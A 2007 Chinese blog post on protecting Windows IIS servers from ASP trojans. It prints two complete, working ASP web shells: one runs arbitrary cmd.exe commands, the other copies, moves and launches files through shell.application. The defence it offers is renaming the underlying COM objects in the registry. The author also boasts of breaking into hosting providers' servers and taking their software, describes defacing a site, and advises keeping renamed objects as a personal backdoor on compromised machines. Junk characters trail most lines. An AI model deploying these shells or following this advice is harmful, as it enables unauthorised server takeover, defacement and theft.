日志文章

2007-06-18

Windows服务器防范ASP木马

随着ASP 技术的发展,网络上基于ASP技术开发的网站越来越多,对ASP技术的支持可以说已经是windows系统IIS服务器的一项基本功能。但是基于ASP技术的木马后门,也越来越多,而且功能也越来越强大。由于ASP它本身是服务器提供的一贡服务功能,所以这种ASP脚本的木马后门,不会被杀毒软件查杀。被黑客们称为“永远不会被查杀的后门”。由于其高度的隐蔽性和难查杀性,对网站的安全造成了严重的威胁。因此针对ASP木马的防范和清除,为我们的网管人员提出了更高的技术要求。 + $k07mb\  
`C'5T;^  
  下面我结合个人的经验,谈一下对两款比较典型的ASP 木马的防范方法,希望对大家能够有所帮助。 [~Ac}K  
以下是第一款木马的代码: p_qopP(w  
<title>ASP Shell</title> T:~ Vn  
<%@ Language=VBScript %> ^c6FPzDz  
<% `/=yc_VJ&  
Dim oScript z{*.e=l  
Dim oScriptNet & tUu~{}  
Dim oFileSys, oFile \Bh@5}B;  
Dim szCMD, szTempFile V~/N2w}  
On Error Resume Next B " 8Z  
-- create the COM objects that we will be using -- ) -EzozB_  
Set oScript = Server.CreateObject("WSCRIPT.SHELL") g8 dk#8U  
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") MdsQuD/$  
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") s7Ig7 A  
-- check for a command that we have posted -- 23`wPs?Qp  
szCMD = Request.Form(".CMD") w\D7&Q `  
If (szCMD <> "") Then PY_" c>b  
-- Use a poor mans pipe ... a temp file -- 'I@D9MO  
szTempFile = "C:\" & oFileSys.GetTempName( ) nNn x@;}  
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) ;m_ y| w  
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) 4uP85Kht  
End If ?5\k e##  
%> aUDi":)z-  
<HTML> #N]CC>q  
<BODY> k+k]0e].  
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> 9j1.'/F  
<input type=text name=".CMD" size=45 value="<%= szCMD %>"> 6\SItg|m  
<input type=submit value="执行命令"> c&)E-  
</FORM> 7'<uu/  
<PRE> Sr9EkkINw  
Q <bcIDXj  
<% :;LFKk:  
If (IsObject(oFile)) Then w dK]63  
-- Read the output from our command and remove the temp file -- 1kN w5M:  
On Error Resume Next -) 2Wr  
Response.Write Server.HTMLEncode(oFile.ReadAll) f?  N R  
oFile.Close ` ; DfV  
Call oFileSys.DeleteFile(szTempFile, True) jk<r#FU  
End If $'aaP&?m{  
%> >aTk ';w  
</BODY> ?Z$0d{^KV  
</HTML> 1fv)0]>  
0U9QG2v!  
E,1k Hnsa1  
  在命令行里输入DIR命令点执行就可以查看目录了!!它可以使用各种DOS命令,如:copy、net、netstat等。 br`!d  
eTd//wq  
r:^xnwG  
  但是它的默认执行权限只有GUEST,也就是IUSR_COMPUTER用户的执行权限。当然如果你把IUSR_COMPUTER用户加入管理员组,那么你就有管理员权限了。 j8mjF  
?C5 iV  
  这一款木马的特点是,使用很方便。几乎就想当于DOS命令行窗口xx作一样。但是如果服务器限制了FSO(无组件上传),那么它是没有办法使用了。还有就是在服务器以后增加的虚拟主机里也没有办法使用。只能在“默认 Web 站点”里使用,所以它相对的适用范围较窄。 {!C <9fCm  
对于防范方法让我们看一下它的代码就知道了: ol6Fgb7  
Set oScript = Server.CreateObject("WSCRIPT.SHELL") "建立了一个名为oScript的WSCRIPT.SHELL对象,用于命令的执行" E <{sF0\  
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") XoYn2uj  
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")  "&)e}z@Mrd  
上面三行代码创建了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三个对象,我们只要在注册表中把控制WSCRIPT.SHELL对象的项改名或删除就可以了。如下图: }xT"&+=k<  
X]S6ll{&  
  值得注意的是:我们应该把“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”这两项都要改名或删除。因为如我们只修改“WSCRIPT.SHELL”项的话。那么黑客们只要把代码修改如下:Set oScript = Server.CreateObject("WSCRIPT.SHELL.1") 这个后门木马就又可以执行了。 -j9~)F .  
  大家可能已经想到了,我们在对“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”改名时,一定要不容易被黑客们猜到,因为例如:你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客们只要把代码相应的改成:Set oScript = Server.CreateObject("WSCRIPT.SHELL888"),木马程序就又可以执行了。还有就修改了注册表以后要重起WEB服务,设置才会有效。 rq^ObnMrh  
  接下来让我们再来看下一款ASP后门木马程序的代码:  L6oQSI  
<%response.write "<font size=6 color=red>一次只能执行一个xx作</font>" %> J'O7TT  
<%response.write now()%><BR>程序所在的物理路径: @( QjG  
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%> Zz0p3eC0\  
<html> Nc?=!$+T  
<title>asps shell.application backdoor </title> m=; M> w  
<body> IZ|VX2g  
<form action="<%= Request.ServerVariables("URL") %>" method="POST"> #DTi_Ngx  
<input type=text name=text value="<%=szCMD %>"> 输入要浏览的目录<br> fDCev9=f  
<input type=text name=text1 value="<%=szCMD1 %>"> &U`$;D#  
copy fhD O6@  
<input type=text name=text2 value="<%=szCMD2 %>"><br> Ci[[0^  
<input type=text name=text3 value="<%=szCMD3 %>"> 3~7&qd>S  
move zU4,Q[eXj  
<input type=text name=text4 value="<%=szCMD4 %>"><br> R0E]b `  
路径:<input type=text name=text5 value="<%=szCMD5 %>"> =Jyuqb  
程序:<input type=text name=text6 value="<%=szCMD6 %>"><br> Am|w9(  
<input type=submit name=sb value=发送命令> 39 (VZ+3E  
</form> u'bzvn*  
</body> -)/{+4J/  
</html> {Rh8Ha?Q  
<% wZSVeWa<w  
szCMD = Request.Form("text") 目录浏览 2Z P!+>I>  
if (szCMD <> "") then V1]\n1 #&|  
set shell=server.createobject("shell.application") 建立shell对象 "@#F3k .f  
set fod1=shell.namespace(szcmd) mu%A7iIS<v  
set foditems=fod1.items h=g_n3SS`  
for each co in foditems d## " u>P  
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>" 9BB9=oLw{  
next .R=d5R  
end if a_J%_+  
%> ^m[S  
l|q-+n n[  
<% q*f&4<F1  
szCMD1 = Request.Form("text1") 目录拷贝,不能进行文件拷贝 U<5fp{S  
szCMD2 = Request.Form("text2") [KXV  =K  
if szcmd1<>"" and szcmd2<>"" then ]zi\i?5  
set shell1=server.createobject("shell.application") 建立shell对象 [EJnYZK  
set fod1=shell1.namespace(szcmd2) R33 'K<  
for i=len(szcmd1) to 1 step -1 S n_@5  
if mid(szcmd1,i,1)="\" then ~tcz|b  
path=left(szcmd1,i-1) AlYrb6  
exit for e',If5.ir  
end if snv0F''  
next F>?t M|H  
if len(path)=2 then path=path & "\" > q9/( 5  
path2=right(szcmd1,len(szcmd1)-i) Op/#Zc?7Z  
set fod2=shell1.namespace(path) ?kK?t1?l  
set foditem=fod2.parsename(path2) 'L|TI  
fod1.copyhere foditem }A {0o}n  
response.write "command completed success!" ]P0uE  
end if 8vO)5Vx>  
%> uMSo6p  
};xc8u4V  
<% :I"j'Uxl  
szCMD3 = Request.Form("text3") 目录移动 6r&*jv?  
szCMD4 = Request.Form("text4") UmvYM3(  
if szcmd3<>"" and szcmd4<>"" then 8U:]pXQIZ  
set shell2=server.createobject("shell.application") 建立shell对象 fw# (YZ6"  
set fod1=shell2.namespace(szcmd4) $z9J{I&g%  
A?I^)Xe5   
for i=len(szcmd3) to 1 step -1 ~HLVxJee  
if mid(szcmd3,i,1)="\" then H@p27Gg  
path=left(szcmd3,i-1) ;~;=  
exit for %)OvgMhj  
end if 7Wi8Ys  
next j|-z)RcA[  
H^wc f  
if len(path)=2 then path=path & "\" =H)],;  
path2=right(szcmd3,len(szcmd3)-i) og/t^{og^h  
set fod2=shell2.namespace(path) |B&{F*gv  
set foditem=fod2.parsename(path2) G{wMG_s  
fod1.movehere foditem fy>Y vqUd  
response.write "command completed success!" Z,Y/eKA#  
end if #;D_l z]  
%> CBFcpk&HK  
<% zQU& I:#  
szCMD5 = Request.Form("text5") 执行程序要指定路径 Fxb<+2[d  
szCMD6 = Request.Form("text6") Kt.p\),F1  
if szcmd5<>"" and szcmd6<>"" then IK_#PL.F  
set shell3=server.createobject("shell.application") 建立shell对象 a/RFM~  
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb | 'f>nT hM  
response.write "command completed success!" wuKe2v#O  
end if zkn_j  
%> n0HKT[p  
执行后如下图: %3>s'   
M#Fdxoc  
  要查看目录,只要输入相应的目录,点发送命令就可以了。如下图: 1O bMNkk  
ra0pd(e6c  
  这个木马程可以完成文件的COPY、MOVE,和执行程序。但很多命令都不能用,例如:del、net、netstat等。这个木马程的功能随然简单,但是用它来黑一个网站是足够了。比如,我们可以把网站的首页MOVE到其它地方,然后我们再COPY一个同名的黑客网页进去,就行了。 %z_eNb  
  最要命的是这个木马适用于任何虚拟主机之中,也就是说我只要是服务器中的一个虚拟空间的用户,我就可以传这个木马上去,并用它来修改其它任何用户的主页。所以如果哪些提供虚拟空间的服务商没有打补丁的话,那真是死定了。 PP4Lb9vA  
  然而在我的实践中发现,中国很多的虚拟空间服务商,特别是一些小型的服务商都没有打补丁。我利用这一漏洞拿到了很多虚拟空间服务器的ADMIN,然后好心的帮他们补上漏洞。当然我也得到了我想得到的东西——很多好的软件和代码。我现在用着的很多ASP程序就是从他们那上面偷下来,太难听了,应该说DOWN下来的才对。 RzGY\Gzt  
  言归正传,我们应该怎样来防范这个ASP后门木马程序呢?让我们看一下它其中的这一句代码:     set shell=server.createobject("shell.application"),跟刚才的方法一样: #jo{at:  
=m^YSL  
  我们只要把"shell.application"项和"shell.application.1"项改名或删除就可以了。记住了,如果是改名,要改得复杂一点,不要让黑客们一下就猜到了。顺便说一句,如果是你给肉鸡打补丁最好是改名,并把名字记下来,这样也就成为自己一个隐密的后门了。 2yG +~k  
,8{S;2  
  最后对这两款ASP木马后门,以及如何防范ASP木马后门做一下总结:第一款木马功能上强大一些, 但适用范围窄,需要FSO支持也就是"Scripting.FileSystemObject"项的支持。第二款木马虽然功能上少一些,但它创建的是"shell.application"对象。在任何虚拟主机中都适用。(这一点危害确实太大了,提供支持ASP空间的管理员们,你们可得注意了!) f[Y!,g<i  
  其实跟据对上面两款ASP木马后门的防范,大家可能已经想到了,对于ASP后门木马的防范,我们只要在注册表中把"shell.application"、"WSCRIPT.SHELL"等危险的脚本对象(因为它们都是用于创建脚本命令通道的)进行改名或删除,也就是限制系统对“脚本SHELL”的创建,ASP木马也就成为无本之木、无米之炊,运行不起来了。 C{;gs R  


类别: 日常电脑问题 |  评论(0) |  浏览(7805) |  收藏
发表评论
看不清楚,换一张